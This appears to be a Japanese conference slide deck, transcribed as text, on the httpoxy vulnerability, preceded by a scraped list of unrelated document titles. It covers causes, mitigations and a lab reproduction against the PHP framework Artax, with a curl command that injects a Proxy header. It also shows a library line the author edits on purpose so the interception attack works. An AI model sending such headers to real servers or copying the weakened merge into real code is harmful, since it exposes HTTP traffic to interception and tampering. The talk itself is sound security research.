自己紹介 名前 : 一ノ瀬太樹 所属 : HASH コンサルティング株式会社 OWASP Japan プロモーションチーム OWASP ZAP ユーザーグループ脆弱性診断研究会 ( 管理者その 3) Perl 入学式 ( サポーター ) HASH Consult

Similar documents
Microsoft IISのWebDAV認証回避の脆弱性に関する検証レポート

2015 年 4 月 15 日に発表された HTTP.sys の脆弱性 ( ) へ の対応について 製品名 : バージョン : 対象プラットフォーム : カテゴリ : iautolaymagic すべてすべて Web アプリ この度 マイクロソフト社製品において緊急度の高い脆弱性 (CV

SOC Report

注意事項 本文書は 2014 年 10 月 15 日時点で公開されている脆弱性情報にもとづいて作成されています 脆弱性の影響を受ける条件 改善策及び回避策等は公開情報をもとに記載しており 今後新 たに公開される情報により変更される可能性がありますのでご注意ください 目 次 1. 脆弱性の概要...

多言語ドメイン名の実装 mdnkit 石曽根信 ( 株 ) SRA 2001/12/04 日本語ドメイン名解説 / mdnkit 1 mdnkit 多言語ドメイン名を扱うためのツールキット 正規化 エンコード変換等を提供するライブラリとコマンド 既存アプリケーシ

べきでない悪意のあるSQL 文が攻撃者から入力された場合 データベースで実行される前にSQL 文として処理されないよう無効化する必要がありますが ( 図 1 1) 無効化されずにデータベースで実行された場合 データベースの操作が可能となります ( 図 1 2) 本脆弱性を悪用するとデータベース接続ユ

WannaCry とは WannaCry はランサムウェアの一種 WannaCry は ランサムウェアと呼ばれる身代金要求型のマルウェアです WannaCryptor WanaCrypt Wcry といった呼ばれ方もします 一般的にランサムウェアに感染すると 以下のようなデータを使用できないように暗

9 WEB監視

KDDI ホスティングサービス G120 KDDI ホスティングサービス G200 WordPress インストールガイド ( ご参考資料 ) rev.1.2 KDDI 株式会社 1

SOC Report

PowerPoint Presentation

Microsoft Word - koutiku-win.doc

Microsoft Word - XOOPS インストールマニュアルv12.doc

◎phpapi.indd

第5回 マインクラフト・プログラミング入門

使用する前に

PowerPoint Presentation

PHP 分科会 '12/01 OpenSource 協議会 System i 2012/01/26

Microsoft Word 基_シラバス.doc

Drive-by-Download攻撃における通信の 定性的特徴とその遷移を捉えた検知方式

conf_example_260V2_inet_snat.pdf

はじめに インフォマート API の呼び出しには OAuth2.0 による認証を受ける必要があります OAuth2.0 を使うことで インフォマート API を利用するサービスは インフォマートプラットフォーム ID( 1 以下 PFID) とパスワードを保存したり処理したりすることなく PFID

SOC Report

SOC Report

VPN ユーザを管理し、RV016、RV042、RV042G および RV082 VPN ルータの速い VPN を設定して下さい

intra-mart EX申請システム version.7.2 事前チェック

SOC Report

Java Scriptプログラミング入門 3.6~ 茨城大学工学部情報工学科 08T4018Y 小幡智裕

安全な Web サイトの作り方 7 版 と Android アプリの脆弱性対策 独立行政法人情報処理推進機構 (IPA) 技術本部セキュリティセンター Copyright 2015 独立行政法人情報処理推進機構

PHP 開発ツール Zend Studio PHP アフ リケーションサーハ ー Zend Server OSC Tokyo/Spring /02/28 株式会社イグアスソリューション事業部

付録 2 システムログ一覧 () 攻撃経路 1. ファイアウォール (FW) ネットワーク型 IPS/IDS Web サーバ AP サーバ DB サーバ プロキシサーバ エラーログ SSL ログ AP ログ ホストログ 非 日時 ファイアウォールホスト名 ファイアウォールルール名及び番号 インバウン

Mobile Access IPSec VPN設定ガイド

プロキシ Pac ファイルとそのサンプルについて

モバイルアプリを Azure で作る - データを扱う Azure Storage を利 してデータを保存する 本稿では PHP と Windows Azure を使って 画像などのファイルを扱うアプリケーションを開発する方法を説明します Windows Azure Platform では データの

Mobile Access簡易設定ガイド

クラスタ構築手順書

Prog2_12th

内容 ( 演習 1) 脆弱性の原理解説 基礎知識 脆弱性の発見方法 演習 1: 意図しない命令の実行 演習解説 2

// このクラスの有効期間中の各呼び出しに使用される キャッシュされた Socket オブジェクト Socket socket = null; // 非同期処理が完了したことを通知するために信号を送るオブジェクト static ManualResetEvent clientdone = new Ma

Microsoft Word JA_revH.doc

OSSTechプレゼンテーション

スライド 1

6-2- 応ネットワークセキュリティに関する知識 1 独立行政法人情報処理推進機構

PowerPoint プレゼンテーション

はじめに 注意事項本資料に記載の内容は 弊社が特定の環境において 基本動作や接続動作を確認したものであり すべての環境で機能 性能 信頼性を保証するものではありません 輸出時の注意 AX シリーズに関し 本製品を輸出される場合には 外国為替及び外国貿易法の規制並びに米国輸出管理規制など外国の輸出関連

TestDesign for Web

( 目次 ) 1. はじめに 開発環境の準備 仮想ディレクトリーの作成 ASP.NET のWeb アプリケーション開発環境準備 データベースの作成 データベースの追加 テーブルの作成


1 ユーザ認証を受けた権限で アプリケーションを利用するために ログインプロキシにアクセスします 2 ログインプロキシにより Shibboleth SP から Shibboleth IdP の認証画面にリダイレクトされます 3 ブラウザに認証画面を表示します 4 認証画面にユーザ / パスワードを入

実験 5 CGI プログラミング 1 目的 動的にWebページを作成する手法の一つであるCGIについてプログラミングを通じて基本的な仕組みを学ぶ 2 実験 実験 1 Webサーバの設定確認と起動 (1)/etc/httpd/conf にある httpd.conf ファイルの cgi-bin に関する

Microsoft Word - アクセストークン取得API仕様書(AS)_ver1.docx

SOC Report

FW ファイルアップロード ダウンロード機能利用ガイド Version 年 9 月 21 日富士通株式会社 i All Right Reserved, Copyright FUJITSU LIMITED

新規利用ガイド win_ver1.2

iStorage ソフトウェア VMware vCenter Plug-in インストールガイド

<48554C46545F F A5490E08E9197BF2E786C73>

SmartGS-ReleaseNote-V132

目的 概要 全体像 概念図 用語の定義 用語 説明 用語 説明 用語 説明 用語 説明 参考資料

PowerPoint Presentation

Microsoft Word - u-CAT’Ý™è…K…C…

前ページからの続き // テキストボックス02 id 属性で取得 // id 属性で取得する場合は一意に決まるので 何番目かの指定は不要 var textbox02elem = document.getelementbyid("text_box02_id"); if ("001" == statee

Android Layout SDK プログラミング マニュアル

SQLインジェクション・ワームに関する現状と推奨する対策案

Oracle DatabaseとIPv6 Statement of Direction

QualysGuard(R) Release Notes

2010年4月~6月 協業実績報告

目次 1 本手順書について... 1 ご用意いただくもの... 1 準備... 1 ID パスワードの依存関係について クラスタノード 管理ノードの BMC の ID パスワード変更... 3 R120h-1M/2M の BMC パスワード変更... 3 D120h での BMC/CM

Rmenuフレームワーク

プレポスト【問題】

目次 はじめに 4 概要 4 背景 4 対象 5 スケジュール 5 目標点 6 使用機材 6 第 1 章 C# 言語 7 C# 言語の歴史 7 基本構文 8 C 言語との違い 9 Java 言語との違い 10.Netフレームワーク 10 開発資料 10 第 2 章 Mono 11 Monoの歴史 1

Managed Firewall NATユースケース

AXシリーズとSafeNetの相互接続評価

なぜIDSIPSは必要なのか?(v1.1).ppt

Microsoft PowerPoint - バルネラアセッサーご紹介 [互換モード]

情報通信の基礎

LAN Control Document

( 目次 ) 1. WordPressインストールガイド はじめに 制限事項 サイト初期設定 WordPressのインストール ( コントロールパネル付属インストーラより ) WordPressのインストール ( 手動インス

IIJ GIOリモートアクセスサービス Windows 7 設定ガイド

WTM2019SingleSignOn

情報システム設計論II ユーザインタフェース(1)

Microsoft PowerPoint - OSS運用管理勉強会資料_ a.pptx

SOC Report

1 本ドキュメントが想定するネットワーク環境 本ドキュメントが想定するネットワーク環境を図に示す 各種モダリティで撮像した DICOM データは DICOM サーバに送信され データベースに登録される クライアントパソコンには InVesalius がインストールされている これらの機器はすべてネッ

コースの目標 このコースを修了すると 下記のことができるようになります : 1. WebDAV の基本的理解を深める 2. WebDAV 経由で ASUSTOR NAS に接続する 前提条件 受講前提条件 : なし 次の項目についての知識を持つ受講生を対象としています :s 該当なし 概要 1. W

TFTP serverの実装

SOC Report

はじめに 動作環境の全ブラウザで 本書の設定を行ってください 本設定を行わない場合 システムが 正常に動作しない可能性がありますので 必ず設定をお願いいたします また 本書の中で 画 像に番号を付与している箇所以外の設定は お使いの環境のままでご使用ください 参考 : 動作環境の全ブラウザについては


本資料について

新規利用ガイド mac_ver1.2

JPCERT/CC インターネット定点観測レポート[2014年7月1日~9月30日]

4-4- 基スクリプト言語に関する知識 コードの作成や修正が容易とされるスクリプト言語を学習し アプリケーション開発の手法を習得する 本カリキュラムでは まずスクリプト言語に位置づけされる Perl PHP Python JavaScript Ruby といった Ⅰ. 概要プログラミング言語の特徴に

コースの目標 このコースを修了すると 下記のことができるようになります : 1. WebDAV の基本的理解を深める 2. WebDAV 経由で ASUSTOR NAS に接続する 前提条件 受講前提条件 : なし 次の項目についての知識を持つ受講生を対象としています :s 該当なし 概要 1. W

Web のクライアントサーバモデル

( 目次 ) 1. XOOPSインストールガイド はじめに 制限事項 サイト初期設定 XOOPSのインストール はじめに データベースの作成 XOOPSのインストール

LightSwitch で申請システム Windows ストアアプリで受付システムを構築してみた 情報政策グループ技術職員金森浩治 1. はじめに総合情報基盤センターでは 仮想サーバホスティングサービスや ソフトウェアライセンス貸与といった さまざまなエンドユーザ向けサービスを行っている 上記のよう

CubePDF ユーザーズマニュアル

Oracle DatabaseとIPv6 Statement of Direction

Microsoft PowerPoint - SSO.pptx[読み取り専用]

User's Manual補足:遠隔監視

Transcription:

Affected 指定されているけど PoC が無いフレームワークで再現試験をした話 WASNight 2016 Summer = WASForum x OWASP Night 2016/8/16 一ノ瀬太樹 HASH Consulting Corp.

自己紹介 名前 : 一ノ瀬太樹 Twitter: @mahoyaya 所属 : HASH コンサルティング株式会社 OWASP Japan プロモーションチーム OWASP ZAP ユーザーグループ脆弱性診断研究会 ( 管理者その 3) Perl 入学式 ( サポーター ) HASH Consulting Corp. 2

突然ですが HASH Consulting Corp. 3

blog を書きました http://blog.hash-c.co.jp/2016/07/httpoxyaffectedpoc.html http://goo.gl/aslxnl HASH Consulting Corp. 4

httpoxy は警視庁による注意喚起もされており 非常に注目を集めています HASH Consulting Corp. 5

httpoxy の原因 httpoxy の根本的な原因は CGI の仕様と一般的に利用される環境変数との名前空間の衝突 そのため CGI や CGI ライクな環境を利用している場合に httpoxy の影響を受ける可能性がある HASH Consulting Corp. 6

具体的な動作 CGI では クライアントが送信した HTTP リクエストヘッダの情報を環境変数に設定する際の動作が RFC3875 で規定されている 大文字に変換 ハイフン "-" をアンダースコア "_" に変換 名前の先頭に "HTTP_" を付与 結果として Proxy という HTTP リクエストヘッダが付与されていた場合に環境変数 HTTP_PROXY が設定されることとなる HASH Consulting Corp. 7

例えば次のリクエストがあると 1 GET /index.php HTTP/1.1 2 Host: foo.example.com 3 Proxy: 10.0.0.1:8080 CGI の動作により次の環境変数がセットされる 1 HTTP_PROXY=10.0.0.1:8080 ただし この動作だけで問題が発生するわけではない HASH Consulting Corp. 8

HTTP_PROXY という環境変数は 一般的に CLI で利用されるコマンドベースのアプリケーションが Proxy サーバを利用する際に参照するもの この脆弱性が存在する Web サーバが環境変数を参照して外部通信を行う場合に次の問題が発生する 内部サーバ宛て http 通信の盗聴 外部サーバ宛て http 通信の盗聴および改ざん ( 中間者攻撃 ) HASH Consulting Corp. 9

本脆弱性への対処 PHP では最新の 5.5.38, 5.6.24, 7.0.9, 7.1.0-beta1 にて getenv 関数に local_only の引数を持つことが出来るようになる修正が含まれたことを確認 今回利用しているフレームワークの Artax では 2.0.4 で修正されている 回避策は大きく次の方法がある HTTP リクエストヘッダを書き変える Apache HTTP Server の mod_headers や Nginx の fastcgi_param などが利用できる WAF で Drop する Apache HTTP Server の mod_rewrite などが利用できる 外部接続に HTTPS を利用する アプリケーションが HTTPS_PROXY を参照するようになり 原理的に影響を受けなくなる HASH Consulting Corp. 10

その他の回避策 httpoxy 公式 https://httpoxy.org/ nginx 公式の注意喚起 https://www.nginx.com/blog/mitigating-the-httpoxy-vulnerability-with-nginx/ HASH Consulting Corp. 11

再現試験をした httpoxy に関しては httpoxy.org による PoC が既に公開されており ネタとしては面白くない なので Affected になっているが PoC は公開されていない PHP のフレームワークである Artax v2.0.3 を利用して試験! HASH Consulting Corp. 12

これ HASH Consulting Corp. 13

環境 検証環境イメージ図 HASH Consulting Corp. 14

本当の構成 Apache HTTP Server 2.2.15 + PHP 5.5.37 Windows10 では www.example.jp として疑似外部サイトを稼働させてるが Proxy として稼働するためのソフトウェアは入っていない HASH Consulting Corp. 15

事象が再現したことを確認するための PHP ファイ ル httpoxy.php を作る HASH Consulting Corp. 16

# code 1 <?php 2 use Amp Artax Client; 3 require 'artax/vendor/autoload.php'; 4 5 echo "<h1>httpoxy exploit check</h1><br> n"; 6 echo "<br>==============================================<br> n"; 7 echo "var_dump( $_SERVER['HTTP_PROXY']); n"; 8 var_dump($_server['http_proxy']); 環境変数を表示 9 echo "<br>"; 10 echo "getenv('http_proxy'); n"; 11 var_dump(getenv('http_proxy')); 環境変数を表示 12 echo "<br>"; 13 14 echo "<br>==============================================<br> n"; HASH Consulting Corp. 17

# code 15 16 try { 17 $client = new Client; 18 $promise = $client->request('http://www.example.jp'); 19 $response = Amp wait($promise); 20 printf( 21 " nhttp/%s %d %s n", 22 $response->getprotocol(), 23 $response->getstatus(), 24 $response->getreason() 25 ); 26 } catch (Exception $error) { 27 echo $error; 28 } 外部通信を行う ステータス表示 HASH Consulting Corp. 18

ブラウザからアクセスしたところ 通常 HTTP リクエストヘッダに Proxy が含まれることはないので null や false が返却されている HASH Consulting Corp. 19

環境変数に HTTP_PROXY をセットさせてみる HTTP リクエストヘッダに Proxy: 192.168.80.1:8080 などを設定してリクエストを送ると環境変数をセットさせることが出来る 192.168.80.1 は Windows10 の IP アドレスだが ポート番号 8080 のアクセスは受け付けない状態なので ARP は解決できるが TCP 接続は受け付けない状態 HASH Consulting Corp. 20

curl を利用してリクエストを送信する 1 curl -H "Proxy: 192.168.80.1:8080" "http://192.168.80.234/httpoxy.php" HASH Consulting Corp. 21

結果 # Response 6 var_dump($_server['http_proxy']); 7 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 8 </pre><br>getenv('http_proxy'); 9 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 10 </pre><br><br>============================================= =<br> 11 12 HTTP/1.1 200 OK HASH Consulting Corp. 22

結果 # Response 6 var_dump($_server['http_proxy']); 7 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 8 </pre><br>getenv('http_proxy'); 9 <pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'192.168.80.1:8080'</font> <i>(length=17)</i> 読み込まれてる 10 </pre><br><br>============================================= =<br> 11 12 HTTP/1.1 200 OK!!!! HASH Consulting Corp. 23

結果 # Response 12 HTTP/1.1 200 OK HASH Consulting Corp. 24

全然 OK じゃない HASH Consulting Corp. 25

Artax のコードを確認した 1.Artax は Proxy のパラメータを 2 つのオブジェクト (Client, HttpSocketPool) 内に同じ配列名かつ同じ変数名の $options[self::op_proxy_http] で保持しており getenv( http_proxy ) で取得した値は HttpSocketPool 側で保持している 2. new Client; したタイミングでコンストラクタにより new HttpSocketPool; も実行され 自動的に環境変数が読み込まれる "self::op_proxy_http" は双方共に HttpSocketPool の定数を参照 3. 2 つのオブジェクトが保持している配列のパラメータはリクエストを送信する際に array_merge 関数によってマージされるが オブジェクト Client のパラメータで上書きされる仕様 (?) により HttpSocketPool で保持した値は使われない HASH Consulting Corp. 26

こんな感じ HASH Consulting Corp. 27

以下は HttpSocketPool 内の checkout 関数で利用されている実際のコード $options にオブジェクト Client で設定されているパラメータが格納されている # code 57 $options = $options? array_merge($this->options, $options) : $this->options; Proxy のパラメータはオブジェクト Client の初期化時に必ず空 ( ) で生成されるため上書きされてしまう HASH Consulting Corp. 28

すごくモヤモヤする仕様だし 脆弱性になっていない HASH Consulting Corp. 29

でも 攻撃を成功させたい HASH Consulting Corp. 30

コードを書き換えよう ( ぇ さっきの HttpSocketPool を書き換えてみる # code 57 //$options = $options? array_merge($this->options, $options) : $this->options; 58 $options = $options? array_merge($options, $this->options) : $this->options; HASH Consulting Corp. 31

DEMO HASH Consulting Corp. 32

DEMO 構成 稼働サービス Httpd: 80 Fedora22(Server) 172.20.10.0/24 稼働サービス Proxy: 8080 Mac(Client) VM.6.3.1 HASH のブログ テザリング HASH Consulting Corp. 33

通常通信 稼働サービス Httpd: 80 172.20.10.0/24 稼働サービス Proxy: 8080 Fedora22(Server) VM.6 1.3 Mac(Client) 2.1 HASH のブログ テザリング HASH Consulting Corp. 34

Proxy 通信 稼働サービス Httpd: 80 172.20.10.0/24 稼働サービス Proxy: 8080 Fedora22(Server) VM.6 1.3 Mac(Client) 2.1 HASH のブログ テザリング HASH Consulting Corp. 35

まとめ 検証を実施した限り オブジェクト Client を生成してリクエスト送信した場合において問題事象が発生することはなさそう しかし 絶対に問題が発生しないと保証することはできないので Artax を利用される方は 必ず v2.0.4 以降へのバージョンアップを検討してください 公開している内容やアプリケーションの動作を保証するものではありません 公開情報を利用される場合は 必ずご自身で検証されたうえでの利用をお願いします HASH Consulting Corp. 36

Thank you! HASH Consulting Corp. 37